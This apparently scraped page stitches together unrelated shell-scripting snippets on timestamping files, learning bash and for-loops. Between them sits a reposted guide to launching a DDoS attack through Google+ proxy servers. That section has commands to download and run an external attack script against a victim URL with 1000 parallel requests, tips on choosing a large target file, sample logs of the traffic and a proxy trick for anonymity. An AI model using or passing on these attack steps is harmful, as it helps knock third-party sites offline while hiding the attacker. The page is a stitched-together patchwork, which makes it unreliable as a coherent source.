Databases, Systems & Networks

I need to create a shell script that appends a timestamp to existing file. I mainly use Mac OS X for development. Wanted to create the same on Mac Terminal.

Here are some basics on date command.

NAME

date -- display or set date and time

SYNOPSIS
date [-ju] [-r seconds] [-v [+|-]val[ymwdHMS]] ... [+output_fmt]
date [-jnu] [[[mm]dd]HH]MM[[cc]yy][.ss]
date [-jnu] -f input_fmt new_date [+output_fmt]
date [-d dst] [-t minutes_west]

Samples:

bash-3.2$ date
Wed Sep 26 19:29:10 PDT 2012
bash-3.2$ date +"%Y/%m/%d"
2012/09/26

Script to append date stamp to file:

#!/bin/sh
file_name=test_files.txt

current_time=$(date "+%Y.%m.%d-%H.%M.%S")
echo "Current Time : $current_time"

new_fileName=$file_name.$current_time
echo "New FileName: " "$new_fileName"

cp $file_name $new_fileName
echo "You should see new file generated with timestamp on it.."

Recently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?“

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com

Bash (Bourne-Again SHell) is a Linux and Unix-like system shell or command language interpreter. It is a default shell on many operating systems including Linux and Apple OS X. Today, we’ll see how to quickly learn scripting.

If you have always used a graphic user interface like KDE or Gnome or MS-Windows or Apple OS X, you are likely to find bash shell confusing. If you spend some time with the bash shell prompt and it will be difficult for you to go back.

Here are a list of tutorials and helpful resources to help you learn bash scripting and bash shell itself.

Lire la suite…

Bash Shell Loop

How do I run shell loop over set of files stored in a current directory or specified directory?

You can use for loop easily over a set of shell file under bash or any other UNIX shell using wild card character.

Syntax

The general syntax is as follows:

for f in file1 file2 file3 file5
do
 echo "Processing $f"
 # do something on $f
done

You can also use shell variables:

FILES="file1
/path/to/file2
/etc/resolv.conf"
for f in $FILES
do
	echo "Processing $f"
done

You can loop through all files such as *.c, enter:

$ for f in *.c; do echo "Processing $f file.."; done

Lire la suite…